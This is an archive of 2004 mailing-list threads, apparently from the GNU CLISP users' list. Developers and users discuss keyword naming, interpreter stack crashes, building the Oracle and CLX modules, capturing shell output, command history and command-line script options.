  4. ZOT:BAZONK   ZOT:FOO-SLONG   ZOT:FEP-BLICKET

Bruno



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> * Bruno Haible <oehab@pyvfc.bet> [2004-06-22 16:16:47 +0200]:
>
> Sam wrote:
>> The question is: how should these keyword arguments be named?
>>
>> 1.  :ZOT_BAZONK   :ZOT_FOO_SLONG   :ZOT_FEP_BLICKET
>>    most obvious, but not too lispy, and somewhat longish.
>>
>> 2.  :BAZONK   :FOO_SLONG   :FEP_BLICKET
>>    shorter, but not too lispy either
>>
>> 3.  :BAZONK   :FOO-SLONG   :FEP-BLICKET
>>    looks best and the most lispy
>>
>> opinions?
>
> I would vote for 3, if the symbols have no property specific to
> ZOT. If there is such a property, for example you want to have the
> symbol-value reflect the numerical value of the CPP constant or if
> they are part of a FFI:DEF-C-ENUM, then they cannot be keywords:
>
>   4. ZOT:BAZONK   ZOT:FOO-SLONG   ZOT:FEP-BLICKET

I thought about it.
On one hand, it is nice to export as much as possible.
On the other hand, these numeric values cannot be used in any way.

there is also another issue: DEFCHECKER in modprep.lisp.
right now is follows [1].
I guess if we switch to [3], it would need to be changed.
Note also mixed-case constants like "AF_DECnet" in sys/socket.h
(DEFCHECKER converts AF_DECnet to :AF_DECNET)

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Hello, 

clisp crashes when disassemble commands are run on
some functions  after hanging for a while.

[39]> (disassemble #'mod)
lisp.exe: No such file or directory.

I am dumped back on the bash prompt after this.  I am
using clisp on cygwin in win2k.

$ clisp --version
GNU CLISP 2.33 (2004-03-17) (built on winsteingoldlap
[10.0.19.22])
Software: GNU C 3.3.1 (cygming special) ANSI C program

TIA.


		
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(general disclaimer: I'm a bit new to common lisp in general and clisp 
specifically - I'm perfectly willing to rtfm if it can be pointed out... :) 


I have been reading the implementation notes for clisp (2.33.1) and it 
mentions oracle as a module distributed with clisp. Just wondering how to go 
about finding out if it is installed. *features* doesn't seem to list any 
sql or db related packages. I need this on a win32 machine, unfortunately 
can't be linux. Can anyone point me in the right direction? 

Thanks,
Jeff


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Sam Steingold writes:
> > * Bruno Haible <oehab@pyvfc.bet> [2004-06-22 16:16:47 +0200]:
> >
> > Sam wrote:
> >> The question is: how should these keyword arguments be named?
> >>
> >> 1.  :ZOT_BAZONK   :ZOT_FOO_SLONG   :ZOT_FEP_BLICKET
> >>    most obvious, but not too lispy, and somewhat longish.
> >>
> >> 2.  :BAZONK   :FOO_SLONG   :FEP_BLICKET
> >>    shorter, but not too lispy either
> >>
> >> 3.  :BAZONK   :FOO-SLONG   :FEP-BLICKET
> >>    looks best and the most lispy
> >>
> >> opinions?
> >
> > I would vote for 3, if the symbols have no property specific to
> > ZOT. If there is such a property, for example you want to have the
> > symbol-value reflect the numerical value of the CPP constant or if
> > they are part of a FFI:DEF-C-ENUM, then they cannot be keywords:
> >
> >   4. ZOT:BAZONK   ZOT:FOO-SLONG   ZOT:FEP-BLICKET
> 
> I thought about it.
> On one hand, it is nice to export as much as possible.
> On the other hand, these numeric values cannot be used in any way.

I'd agree if it was numeric arguments. (That would even be:

   5. ZOT:+BAZONK+   ZOT:+FOO-SLONG+   ZOT:+FEP-BLICKET+

But instead of writting:

    (zot:foo-bar (+ ZOT:+BAZONK+  ZOT:+FEP-BLICKET+))

Sam wants to write:

    (zot:foo-bar :BAZONK t  :FEP-BLICKET nil)

So I guess the best is indeed to put them in KEYWORD and option 3 is
tastier.

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wolfjb@bigfoot.com writes:
> (general disclaimer: I'm a bit new to common lisp in general and clisp 
> specifically - I'm perfectly willing to rtfm if it can be pointed out... :) 
> 
> 
> I have been reading the implementation notes for clisp (2.33.1) and it 
> mentions oracle as a module distributed with clisp. Just wondering how to go 
> about finding out if it is installed. *features* doesn't seem to list any 
> sql or db related packages. I need this on a win32 machine, unfortunately 
> can't be linux. Can anyone point me in the right direction? 

Obviously, you'd need to compile the oracle module on your win32.

That means that you need the Oracle libraries (dll?) for win32.

Assuming you have those, and assuming they export the same API than in
unix, I don't see any impediment to compile the oracle module in clisp
on win32.

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 > I have been reading the implementation notes for clisp (2.33.1) and it
 > mentions oracle as a module distributed with clisp. Just wondering how
 > to go about finding out if it is installed.

Hi Jeff, here is the answer about the Oracle module as it pertains to
CLISP distributions: you MIGHT be able to use it on Windows, but
you would definitely only be able to do so if you compiled CLISP
yourself.

The CLISP source distribution comes w/ the _source code_ to the Oracle
module, but any pre-built CLISP will very probably not have the Oracle
module built into them, because no one (that I am aware of) who is
supplying pre-built binary CLISPs has the Oracle client software
development environment to build it.

All of this means if you want to use Oracle for CLISP you'll need to
compile build your own.  Note that to compile the CLISP Oracle module
you need to have YOUR OWN COPY of the Oracle client software libraries
and headers, specifically the Oracle "OCI" interface.  Until Larry
Ellison goes GPL ;) obviously CLISP cannot not ship w/ Oracle products
included.

You mentioned you are on Win32, not Unix.  The only platform Oracle
has been compiled on has been Linux, however it should really work on
any Unix.

As for Win32, the CLISP module docs mention that Unix-like modules
should transport well to Win32 when using the Cygwin or MinGW
compatibility stuff.  If you are using these things you may just be
able to compile and link CLISP w/ the Oracle module on Win32.

But the bad news is that if you are desirous to use a pre-built CLISP,
which it sounds like you are, and cannot or do not wish to compile
your own, then you will not be able to use Oracle.

I have Win32 however I don't do much development on it.  At the same
time, I realize CLISP is popular choice for Win32,so perhaps I can see
if I can setup things to build an Oracle-enabled CLISP for Win32.  I
think as long as I do not statically link Oracle code I should be OK
w/ licensing issues but I would of course have to research that.  That
would not happen anytime soon, though.

---
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 > From: "Pascal J.Bourguignon" <pjb@informatimago.com>
 > Date: Thu, 24 Jun 2004 16:01:06 +0200

 > Obviously, you'd need to compile the oracle module on your win32.
 > That means that you need the Oracle libraries (dll?) for win32.
 > Assuming you have those, and assuming they export the same API than in
 > unix, I don't see any impediment to compile the oracle module in clisp
 > on win32.

Yes, everything Pascal says is accurate, with the exception of the
part about the need to compile the module being obvious ;)

The CLISP docs say "modules included with the distribution" however it
is not unreasonable for an optimistic type to infer from that as
meaning "modules included with the binary distribution", i.e., you
will get those features in a pre-built binary.

Maybe the docs should just say "modules included in the source
distribution".

Also, until Oracle module actually runs on Win32 it should have
a Unix-only disclaimer. I suppose.



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> * Elvin Peterson <ryiva_crgrefba@lnubb.pbz> [2004-06-23 10:44:43 -0700]:
>
> clisp crashes when disassemble commands are run on
> some functions  after hanging for a while.
>
> [39]> (disassemble #'mod)
> lisp.exe: No such file or directory.
>
> I am dumped back on the bash prompt after this.  I am
> using clisp on cygwin in win2k.

these are built-in functions written in C.  disassembling them requires
attaching a debugger to the running CLISP process.  detaching kills the
process on w2k and earlier (it is alleged that it does not kill it on xp).

> GNU CLISP 2.33 (2004-03-17)

fixed in 2.33.1.

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> * John K. Hinsdale <uva@nyzn.pbz> [2004-06-24 10:07:09 -0400]:
>
>
> Maybe the docs should just say "modules included in the source
> distribution".
done.


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If you mind compiling clisp (I did not succeed yet with cygwin/mingw - =
after several days of trying) you might think about using ODBC. In my =
opinion it is not too complex to do the FFI programming. I started =
working on this and built basic functionality. It is just a fast hack =
but offers functionality to read from and write to the database. I put =
the source code to www.atp-media.de\odbc-cl\odbc.zip if you like to have =
a look.

You might consider FFI programming on OCI as well.

Andreas



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> * John K. Hinsdale <uva@nyzn.pbz> [2004-06-24 10:01:09 -0400]:
>
> As for Win32, the CLISP module docs mention that Unix-like modules
> should transport well to Win32 when using the Cygwin or MinGW
> compatibility stuff.  If you are using these things you may just be
> able to compile and link CLISP w/ the Oracle module on Win32.

1. get cygwin

2. get clisp sources

3. edit Makefile and link.sh in clisp/modules/oracle to point to the
   location of your Oracle headers and binaries

4. configure and build:
   $ ./configure --with-module=oracle --with-mingw --build build-dir

5. run:
   $ ./build-dir/clisp -K full

> But the bad news is that if you are desirous to use a pre-built CLISP,
> which it sounds like you are, and cannot or do not wish to compile
> your own, then you will not be able to use Oracle.

This is absolutely __NOT__ the case.

Any CLISP binary distribution comes with
  /usr/lib/clisp/clisp-link
and
  /usr/lib/clisp/linkkit/*
specifically so that any user of this distribution could build his own
modules.

So, Jeff will need to get the sources of the Oracle module (CVS, source
distribution, John's web site), modify the Makefile and link.sh as in
[3] above, and follow the impnotes instruction to produce his own
linking set, in, say,
   /usr/lib/clisp/oracle/
then he will be able to run it with
   $ clisp -K oracle


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   >> [J. Hinsdale]
   >> But the bad news is that if you are desirous to use a pre-built CLISP,
   >> which it sounds like you are, and cannot or do not wish to compile
   >> your own, then you will not be able to use Oracle.

 > [Sam Steingold]
 > This is absolutely __NOT__ the case.

 > Any CLISP binary distribution comes with
 >   /usr/lib/clisp/clisp-link
 > and
 >   /usr/lib/clisp/linkkit/*
 > specifically so that any user of this distribution could build his own
 > modules.

Oops my bad; I was confusing "need to compile the module" w/ "need to
compile CLISP" sorry.  I didn't know you could just build the module
and link it in ... probably much easier now that I think about it.

Jeff, if you want to give Sam's procedure a go, I've put up a recent
version of the Oracle module source standalone on my webpage.  See

	http://clisp.alma.com

Isuggest you unpack the archive at the same place you unpacked CLISP.
It will expand into

	./modules/oracle/*

I'd be happy to help however I can w/ build issues, particularly w/
the Oracle alibs.  Note I have NOT built this module on Win32, but at
the same time I would not be surprised if it "just worked".  Oracle is
pretty portable; one of the most portable commercial applications
really.

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Hi,

if I try to build clisp 2.33.2 on IA64 I get

--------------------------------------------------------------------
make[1]: Entering directory `/usr/src/packages/BUILD/clisp-2.33.2/ia64-suse-linux/avcall'
./minitests > minitests.out
make[1]: *** [check] Error 139
make[1]: Leaving directory `/usr/src/packages/BUILD/clisp-2.33.2/ia64-suse-linux/avcall'
make: *** [avcall.h] Error 2
--------------------------------------------------------------------

which is simply a SIGSEGV. I've tried to generate a new avcall-ia64.s with

  gcc -D__ia64__  -S avcall-ia64.c -o avcall-ia64.s

and tried again. Now it dies with

--------------------------------------------------------------------
./minitests > minitests.out
LC_ALL=C uniq -u < minitests.out > minitests.output.ia64-unknown-linux-gnu
test '!' -s minitests.output.ia64-unknown-linux-gnu
--------------------------------------------------------------------

a simple `cat minitests.output.ia64-unknown-linux-gnu' shows:

--------------------------------------------------------------------
J f(J,int,J):({47,11},2,{73,55})->{120,68}
J f(J,int,J):({47,11},2,{6917546619827102344,73})->{6917546619827102391,86}
--------------------------------------------------------------------

I've tried both gcc version 3.3.4 and 3.3.3, same result.

How this can be fixed.  Only to get not only FFI but also
bindings/glibc, postgresql, and wildcard modules back into clisp ;^)


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Hi all

when I run 
[17]> (setq foo (shell '|ls *.kb|))


I get:
dsm3.kb
0

[18]> foo
0

foo has a value of 0

Can someone tell me how to get the return of my shell  command into a lisp
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Hello,
  I have an function (described below), which crashes
clisp for inputs greater than 1500.  The limit is
substantially larger if the function is compiled.  An
empty stackdump file is generated under cygwin.

[18]> (eratosthenes 1500)
$

I suspect this might be a problem with large lists,
but shouldn't there be a graceful recovery and a
message rather than a crash?

$ clisp --version
GNU CLISP 2.33 (2004-03-17) (built on winsteingoldlap
[10.0.19.22])
Software: GNU C 3.3.1 (cygming special) ANSI C program
Features:
(CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL
INTERPRETER SOCKETS
 GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT
UNICODE
 BASE-CHAR=CHARACTER UNIX CYGWIN)
Installation directory: /usr/lib/clisp/
User language: ENGLISH

TIA.

;; Implements the sieve of Eratosthenes

(defun generate-list (n)
  "Provides the list 2...n"
  (labels ((generate-reversed-list (n)
				   "Generates the list 2...n in the reverse order"
				   (if (= n 2)
				       (cons 2 nil)
				     (cons n (generate-reversed-list (1- n))))))
    (reverse (generate-reversed-list n))))

(defun sieve (x n) 
  "The actual sieve, repeatedly deleting multiples."
  (labels ((multiple-of (x y)
			"Is the number a multiple (greater than 2)?"
			(and (integerp (/ x y)) (> x y))))
    (if (> n (sqrt (first (last x)))) ;no need to
check for numbers > sqrt (n)
	x			 ;stopping condition for the recursion
      (sieve (delete-if 
	      #'(lambda (num)
		  (multiple-of num (nth (1- n) x)))
	      x)	       ;delete multiples of positions
starting
	     (1+ n)))))			;from n, incrementing by 1


(defun eratosthenes (n)
  "Find all primes till n"
  (sieve (generate-list n) 1)) ;start the sieve using
the first element


		
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> * Jacques B. Siboni <wnpfvo@yhgrpvhz.bet> [2004-06-24 16:41:23 +0000]:
>
> when I run 
> [17]> (setq foo (shell '|ls *.kb|))
>
>
> I get:
> dsm3.kb

printed by ls

> 0

returned EXT:SHELL

> Can someone tell me how to get the return of my shell command into a
> lisp variable?

try

(with-open-stream (s (run-program "ls" :arguments '("-l") :output :stream))
  (loop :for l = (read-line s nil nil) :while l collect l))



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--- Sam Steingold <sds@gnu.org> wrote:
> > * Elvin Peterson <ryiva_crgrefba@lnubb.pbz>
> [2004-06-23 10:44:43 -0700]:
> >
> > clisp crashes when disassemble commands are run on
> > some functions  after hanging for a while.
> >
> > [39]> (disassemble #'mod)
> > lisp.exe: No such file or directory.
> >
> > I am dumped back on the bash prompt after this.  I
> am
> > using clisp on cygwin in win2k.
> 
> these are built-in functions written in C. 
> disassembling them requires
> attaching a debugger to the running CLISP process. 
> detaching kills the
> process on w2k and earlier (it is alleged that it
> does not kill it on xp).
> 
> > GNU CLISP 2.33 (2004-03-17)
> 
> fixed in 2.33.1.

Thank you!  I haven't updated Cygwin in a while (tired
of all the stuff breaking during upgrade), but I see
that it is in the latest setup .

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Sam Steingold wrote:
> 
> try
> 
> (with-open-stream (s (run-program "ls" :arguments '("-l") :output :stream))
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Thanks

It s wonderful with this

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Date: Thu Jun 24 11:55:21 2004
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Jacques B. Siboni writes:
> Hi all
> 
> when I run 
> [17]> (setq foo (shell '|ls *.kb|))
> 
> 
> I get:
> dsm3.kb
> 0
> 
> [18]> foo
> 0
> 
> foo has a value of 0
> 
> Can someone tell me how to get the return of my shell  command into a lisp
> variable?

Read more of clisp documentation!
http://clisp.cons.org/impnotes/shell.html

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Elvin Peterson writes:
> Hello,
>   I have an function (described below), which crashes
> clisp for inputs greater than 1500.  The limit is
> substantially larger if the function is compiled.  An
> empty stackdump file is generated under cygwin.
> 
> [18]> (eratosthenes 1500)
> $
> 
> I suspect this might be a problem with large lists,
> but shouldn't there be a graceful recovery and a
> message rather than a crash?


The problem is not with large lists, but with deep stacks.  The
interpreter uses more stack space than compiled functions.

> (defun generate-list (n)
>   "Provides the list 2...n"
>   (labels ((generate-reversed-list (n)
> 				   "Generates the list 2...n in the reverse order"
> 				   (if (= n 2)
> 				       (cons 2 nil)
> 				     (cons n (generate-reversed-list (1- n))))))
>     (reverse (generate-reversed-list n))))

Rather use an iterative version:

(defun generate-numbers>=2  (n)
  (let ((result nil))
    (dotimes (i n) (push i result))
    (cddr (nreverse result))))


(defun nremove-prime-multiples (list)
  (do* ((prime          (car list))
        (prime-multiple (+ prime prime))
        (next           list))
      ((null (cdr next)) list)
    (cond
     ((> (cadr next) prime-multiple)   (incf prime-multiple prime))
     ((= (cadr next) prime-multiple)   (setf (cdr next) (cddr next))
                                       (incf prime-multiple prime))
     (t                                (setf next (cdr next))))))


(defun sieve (list-of-integer)
  (do* ((result (copy-seq list-of-integer))
        (next (nremove-prime-multiples result)
              (nremove-prime-multiples (cdr next))))
      ((null (cdr next)) result)));;sieve



[52]> (time (sieve (generate-numbers>=2 10000))) 

Real time: 3.300211 sec.  ;; NOT COMPILED!
Run time: 3.28 sec.
Space: 159984 Bytes
(2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97 101 103
 107 109 113 127 131 137 139 149 151 157 163 167 173 179 181 191 193 197 199
 211 223 227 229 233 239 241 251 257 263 269 271 277 281 283 293 307 311 313
 [...]
 9319 9323 9337 9341 9343 9349 9371 9377 9391 9397 9403 9413 9419 9421 9431
 9433 9437 9439 9461 9463 9467 9473 9479 9491 9497 9511 9521 9533 9539 9547
 9551 9587 9601 9613 9619 9623 9629 9631 9643 9649 9661 9677 9679 9689 9697
 9719 9721 9733 9739 9743 9749 9767 9769 9781 9787 9791 9803 9811 9817 9829
 9833 9839 9851 9857 9859 9871 9883 9887 9901 9907 9923 9929 9931 9941 9949
 9967 9973)


[53]> (map nil (function compile)
        '(generate-numbers>=2  nremove-prime-multiples sieve))
NIL

[54]> (time (every (function primep) (sieve (generate-numbers>=2 100000))))

Real time: 210.57819 sec.  ;; NOT COMPILED!
Run time: 203.1 sec.
Space: 1599984 Bytes
GC: 1, GC time: 0.06 sec.
T



Of course, it's much faster to implement the Eratostene sieve with bitmaps:

[55]> (package:load-package :com.informatimago.common-lisp.primes)
T
[56]> (time (every (function primep) (com.informatimago.common-lisp.primes:compute-primes-to 100000)))

Real time: 7.245507 sec.
Run time: 7.17 sec.
Space: 48284 Bytes
T


[67]> (time (prog1 nil (com.informatimago.common-lisp.primes:compute-primes-to 100000)))

Real time: 0.695663 sec.
Run time: 0.69 sec.
Space: 44784 Bytes
NIL


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>
> if I try to build clisp 2.33.2 on IA64 I get

This was broken in 2.32 and newer, if that is of any help.


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Date: Fri Jun 25 07:51:03 2004
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Hi,

what is the state of thread support in clisp? i tried to compile
latest-cvs using --with-threads=POSIX_THREADS, but clisp segfaults while
building (anyone interested in backtraces?) will threads soon become a
"stable" feature?

	thx in advance thomas

PS: i'm very(!) interested in clisp as it seems to be the only lisp, which
runs on my amd64 ;-)



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> * Dr. Werner Fink <jreare@fhfr.qr> [2004-06-24 18:21:10 +0200]:
>
> if I try to build clisp 2.33.2 on IA64 I get

this might be related to
<http://sourceforge.net/tracker/index.php?func=detail&aid=952681&group_id=1355&atid=101355>
apparently, 64-bit FFCALL is not quite ready.

> How this can be fixed.  Only to get not only FFI but also
> bindings/glibc, postgresql, and wildcard modules back into clisp ;^)

at least
      syscalls
      regexp
      pcre
      berkeley-db
      clx
      dirkey
still work, right?

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On Friday 25 Jun 2004 16:18, Sam Steingold wrote:
> > * Dr. Werner Fink <jreare@fhfr.qr> [2004-06-24 18:21:10 +0200]:
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The amd64 and alpha stuff seems to work OK. It doesn't crash at least.


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--- "Pascal J.Bourguignon" wrote:
> Elvin Peterson writes:
> > Hello,
> >   I have an function (described below), which
> crashes
> > clisp for inputs greater than 1500.  The limit is
> > substantially larger if the function is compiled. 
> An
> > empty stackdump file is generated under cygwin.
> > 
> > [18]> (eratosthenes 1500)
> > $
> > 
> > I suspect this might be a problem with large
> lists,
> > but shouldn't there be a graceful recovery and a
> > message rather than a crash?
> 
> 
> The problem is not with large lists, but with deep
> stacks.  The
> interpreter uses more stack space than compiled
> functions.

How much stack space is allocated?  I did measurements
with the "time" function and the space requirements
seemed quite small to me.

> Rather use an iterative version:

That is much better than what I posted, but from what
I have read in books about Lisp, iterative programming
should be avoided by new users because of all the side
effects.  However, the code for reversing a list seems
to be an idiom.

> Of course, it's much faster to implement the
> Eratostene sieve with bitmaps:
> 
> [55]> (package:load-package
> :com.informatimago.common-lisp.primes)
> T

I suppose this is your personal code, and not part of
the clisp distribution.

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Hello,
  clisp does not create a history file by default like
the .bash_history file.  How can I turn that on?  I
would like to have a command history that spans
different invocations of clisp.  A google search did
not turn up anything.  Any help is appreciated.
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> * Elvin Peterson <ryiva_crgrefba@lnubb.pbz> [2004-06-28 05:59:32 -0700]:
>
>> The problem is not with large lists, but with deep stacks.  The
>> interpreter uses more stack space than compiled functions.
>
> How much stack space is allocated?

<http://clisp.cons.org/faq.html#stack>.

>> Rather use an iterative version:
>
> That is much better than what I posted, but from what I have read in
> books about Lisp, iterative programming should be avoided by new users
> because of all the side effects.  However, the code for reversing a
> list seems to be an idiom.

the only things to avoid are brittle code and inefficient algorithms.

CL is a multi-paradigm language (OO, Functional &c &c), and one should
use the paradigm best suited to one's specific problem, not the one
touted by the "CS fashion of the day".


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Elvin Peterson writes:
> Hello,
>   clisp does not create a history file by default like
> the .bash_history file.  How can I turn that on?  I
> would like to have a command history that spans
> different invocations of clisp.  A google search did
> not turn up anything.  Any help is appreciated.
> TIA.

You could use clisp from emacs, either ilisp or slime, and save the
buffer before quitting emacs.

An alternative would be to write your own REPL.

A naive definition could be:

(defun repl ()
  (loop (princ "> ") 
        (let (sexp result error)
          (handler-case
              (setq sexp (read)  result (eval sexp))
            (error (err) (setq error (format nil "~A~%" err))))
          (if error
            (format t "ERROR: ~A~%" error)
            (format t "~S~%" result))
          (with-open-file (hist (merge-pathnames
                                 (make-pathname :name "clisp-history")
                                 (user-homedir-pathname))
                                :direction :output
                                :if-does-not-exist :create
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            (if error
            (format hist "~S~%ERROR: ~A~2%" sexp error)
            (format hist "~S~%~S~2%" sexp result))))))


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Hi,

how can i get my clisp compiled with clx? I am looking for
an option but i found no one. Maybe it is really easy and
it would be very nice if someone could help me out.

Fabian


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> * Elvin Peterson <ryiva_crgrefba@lnubb.pbz> [2004-06-28 06:14:01 -0700]:
>
> clisp does not create a history file by default like the
> .bash_history file.

indeed.  <readline/history.h> offers a rich API for history saving,
and most of it, IIRC, is exported in bash via variables.
We can also offer CUSTOM:*HISTORY-FILE*, CUSTOM:*HISTORY-FILE-TRUNCATE*,
EXT:READ-HISTORY, EXT:WRITE-HISTORY.
Would you like to implement that?

> How can I turn that on?

there is no way at this time.

> I would like to have a command history that spans different
> invocations of clisp.

I always turn it off for bash.

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--- "Pascal J.Bourguignon" wrote:
> 
> Elvin Peterson writes:
> > Hello,
> >   clisp does not create a history file by default
> like
> > the .bash_history file.  How can I turn that on? 
> I
> > would like to have a command history that spans
> > different invocations of clisp.  A google search
> did
> > not turn up anything.  Any help is appreciated.
> > TIA.
> 
> You could use clisp from emacs, either ilisp or
> slime, and save the
> buffer before quitting emacs.
> 
> An alternative would be to write your own REPL.
> 
> A naive definition could be:

As I understand it, both the methods will give me a
file with the history of interaction with clisp. 
Isn't that the same as that obtained with the dribble
command?  What would be great is if I can access the
commands executed in the previous clisp session with
up-arrow or M-p.

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> * Fabian Boucsein <xnainf75@jro.qr> [2004-06-28 16:40:38 +0200]:
>
> how can i get my clisp compiled with clx?

did you read unix/INSTALL?

hint: <http://clisp.cons.org/impnotes.html#included-modules>

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> * Elvin Peterson <ryiva_crgrefba@lnubb.pbz> [2004-06-28 08:00:30 -0700]:
>
> What would be great is if I can access the commands executed in the
> previous clisp session with up-arrow or M-p.

note that when CLISP is running under Emacs, readline is not used.
if you want to remember CLISP commands when CLISP is run in a shell,
you need to modify CLISP to call write_history() and read_history().
if you want to do it in Emacs, you need to add some
comint-add-to-input-history calls to inferior-list-mode-hook and also
write the commands when you leave Emacs.

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Elvin Peterson writes:
> As I understand it, both the methods will give me a
> file with the history of interaction with clisp. 
> Isn't that the same as that obtained with the dribble
> command?  What would be great is if I can access the
> commands executed in the previous clisp session with
> up-arrow or M-p.

As Sam wrote, the source of clisp should be edited to add this feature
at the readline level.  One problem of this, is that we often have
several bash or clisp sessions running at the same time, and the
history saving overwrites all but the last saved history.

Otherwise, if you're using clisp thru emacs, history is actually
implemented by emacs.  With ilisp, when I wanted to restart clisp but
still running the same sexp over and over, I would run (ext:quit),
without closing the buffer, and relaunch clisp with M-x clisp-hs RET.
Then emacs would have kept the buffer history and I could fetch back
sexps from previous sessions.


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--- "Pascal J.Bourguignon"  wrote:
> Elvin Peterson writes:
> > As I understand it, both the methods will give me
> a
> > file with the history of interaction with clisp. 
> > Isn't that the same as that obtained with the
> dribble
> > command?  What would be great is if I can access
> the
> > commands executed in the previous clisp session
> with
> > up-arrow or M-p.
> 
> As Sam wrote, the source of clisp should be edited
> to add this feature
> at the readline level.  One problem of this, is that
> we often have
> several bash or clisp sessions running at the same
> time, and the
> history saving overwrites all but the last saved
> history.

At least in bash, the history is only saved when it
exits, so I don't see why overwriting would be
problem.

> 
> Otherwise, if you're using clisp thru emacs, history
> is actually
> implemented by emacs.  With ilisp, when I wanted to
> restart clisp but
> still running the same sexp over and over, I would
> run (ext:quit),
> without closing the buffer, and relaunch clisp with
> M-x clisp-hs RET.
> Then emacs would have kept the buffer history and I
> could fetch back
> sexps from previous sessions.

Indeed--I have noted this behavior when using emacs,
but as was mentioned in another mail, modifications
would be required for saving state across multiple
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--- Sam Steingold <sds@gnu.org> wrote:
> > * Elvin Peterson <ryiva_crgrefba@lnubb.pbz>
> [2004-06-28 05:59:32 -0700]:
> >
> >> The problem is not with large lists, but with
> deep stacks.  The
> >> interpreter uses more stack space than compiled
> functions.
> >
> > How much stack space is allocated?
> 
> <http://clisp.cons.org/faq.html#stack>.

Sorry about that.  This mentioned in the manpage, but
I unfortunately stopped reading after the "dynamically
allocated" part.

> 
> >> Rather use an iterative version:
> >
> > That is much better than what I posted, but from
> what I have read in
> > books about Lisp, iterative programming should be
> avoided by new users
> > because of all the side effects.  However, the
> code for reversing a
> > list seems to be an idiom.
> 
> the only things to avoid are brittle code and
> inefficient algorithms.

Of course, the question is how one goes about doing
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Hi,

i just used that configure option: --with-module=mit-clx
but get the error: module mit-clx not found. The mit-clx
is in an module subdirectory named clx. Maybe thats the
reason why. But how can i solve that problem? Is that the
wrong option i used?

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 > i just used that configure option: --with-module=mit-clx
 > but get the error: module mit-clx not found. The mit-clx

i believe the arg to --with-module needs to be the name of the
directory relative to <dist>/modules ... so try:

	--with-module=clx/mit-clx

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Hello,

after configuring my clisp with the option: --with-module=clx/mit-clx
it compiles successfully. So far it is ok. But when trying some
examples i get the error: No package xlib. Is that another foreign
module? The module directory lists nothing like xlib.

Fabian


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Fabian Boucsein writes:
> Hello,
> 
> after configuring my clisp with the option: --with-module=clx/mit-clx
> it compiles successfully. So far it is ok. But when trying some
> examples i get the error: No package xlib. Is that another foreign
> module? The module directory lists nothing like xlib.

Did you load this linkset?  Try: 

    clisp -ansi -K full -x '(print *features*)'


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> * Fabian Boucsein <xnainf75@jro.qr> [2004-06-29 17:56:56 +0200]:
>
> after configuring my clisp with the option: --with-module=clx/mit-clx
> it compiles successfully. So far it is ok. But when trying some
> examples i get the error: No package xlib. Is that another foreign
> module? The module directory lists nothing like xlib.

XLIB is the traditional name of the package in which CLX resides.
<http://clisp.cons.org/faq.html#modules>

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Hello,

thanks for all the nice help i got here so far. While trying the
hello.lisp example of the clx directory i get the following
error: EXPOSURE-EVENT-GET-MACRO: symbol GET-CODE has no value
Maybe something really easy but my lisp experience is not so
great. Hopefully this will change in the near future.

Fabian


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  There is no indication of incompatibility between -i options
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  Is it a bug? Is it an 'undocumented feature'? Is there some
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This code endlessly invokes the continue restart:

(handler-bind ((error #'continue))
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I don't understand is why does undefined function have a continue restart?

Clisp 2.33.2 on Debian/Sarge/i386.

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> * Gabor Melis <zrtn@ubgcbc.pbz> [2004-06-30 14:27:31 +0200]:
>
> This code endlessly invokes the continue restart:
>
> (handler-bind ((error #'continue))
>    (foo))
>
> I don't understand is why does undefined function have a continue restart?

the idea was that you would define the function at the debug prompt and
proceed.
this has now been replaced with the RETRY restart in the CVS.

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> * VAUCHER L Ext SIRES <yinhpure.rkg@senaprgryrpbz.pbz> [2004-06-30 11:14:00 +0200]:
>
> My problem is with -i and the 'terminal' lisp-file argument.
>
>   When I use only the terminal lisp-file argument, everything
> works as expected : the first line (#!/.../clisp) is not
> interpreted as lisp code, my RC file is not loaded, command-
> line arguments situated after the lisp-file name are available
> in ext:*args* and when the file is loaded, clisp terminates.
> Example: 'clisp toto.lisp 1 2 3'
>
>   But as soon as I try using a -i initfile option in my command
> line, it does not work anymore as above :
>   - the #! line in the lisp-file causes a read error,
>   - my RC file is loaded prior to everything else, even the initfile,
>   - no command-line arguments are available (ext:*args* is NIL),
>   - worse, trailing command-line arguments are interpreted as
>      lisp files to be loaded
>   - and finally, clisp enters a REPL.
> Example: 'clisp -i initfile.lisp toto.lisp 1 2 3'
>
>   There is no indication of incompatibility between -i options and the
> terminal lisp-file argument in the man, so I am a bit surprised.

what incompatibility?
these are entirely different options, completely unrelated.

>   Is it a bug? Is it an 'undocumented feature'? Is there some
> workaround available?

this is precisely the intended behavior, as documented.

"-i" means load an "init" lisp file and proceed to repl or script

"terminal" means a lisp script: execute standalone.

these are different options with different purposes.

if you are familiar with bash, you might find the following simile
helpful: "-i foo.lisp" corresponds to ". foo.sh" (or "source foo.csh"),
while the "script" or as you call it "terminal" option corresponds to
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> * Fabian Boucsein <xnainf75@jro.qr> [2004-06-30 10:32:41 +0200]:
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> While trying the hello.lisp example of the clx directory i get the
> following error: EXPOSURE-EVENT-GET-MACRO: symbol GET-CODE has no
> value

there is no file "hello.lisp" in clisp/modules/clx/.

when I build clisp with the clx/new-clx module and do

$ ./clisp -q -norc -K full -i ../modules/clx/mit-clx/demo/hello.lisp -x '(xlib::hello-world "localhost")'

I get the "hello world" window.

please be more specific about the problem.

(clisp version?  configure options?)


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>what incompatibility?
>these are entirely different options, completely unrelated.

  That's what I hoped for.


>"-i" means load an "init" lisp file and proceed to repl or script

  This is precisely not what I get. It seems that the -i
option automatically triggers the REPL mode and forbids the
script mode.


  I'll try to explain what I get and what I thought I'd get after
reading the docs.

  Suppose I've got an init file called "initfile.lisp" that
does --you guess-- some initialization work, like setting
some custom variables or such things.
  Suppose, then, that I've got another file that I wish to use
as a script (the name is definitely better that my 'terminal'
thing attempt). This script really 'drives' the program and
as such, needs to have access to remaining command-line
arguments. After parsing those arguments, the script proceeds
to real work. I call this file "script.lisp".

  Well, what I would like to do is run the script after having
done some initialization. So I type at the shell prompt
# clisp -i initfile.lisp script.lisp arg1 arg2

  What I hoped was that the [-i initfile.lisp] arguments
were taken together as meaning 'load the initfile.lisp
file before anything else', and the [script.lisp arg1 arg2]
part as meaning 'run script.lisp as a script, with arguments
arg1 and arg2 in ext:*args*' and exit when done.

  What I get is that 'initfile.lisp' 'script.lisp' 'arg1'
and 'arg2' are all treated as if they had been specified
as -i initfile.lisp -i script.lisp -i arg1 -i arg2,
which is definitely not what I thought.

  I also tried
# clisp -i initfile.lisp -q script.lisp arg1 arg2
  thinking that maybe another option in between file
names would make my intent clearer to clisp arguments
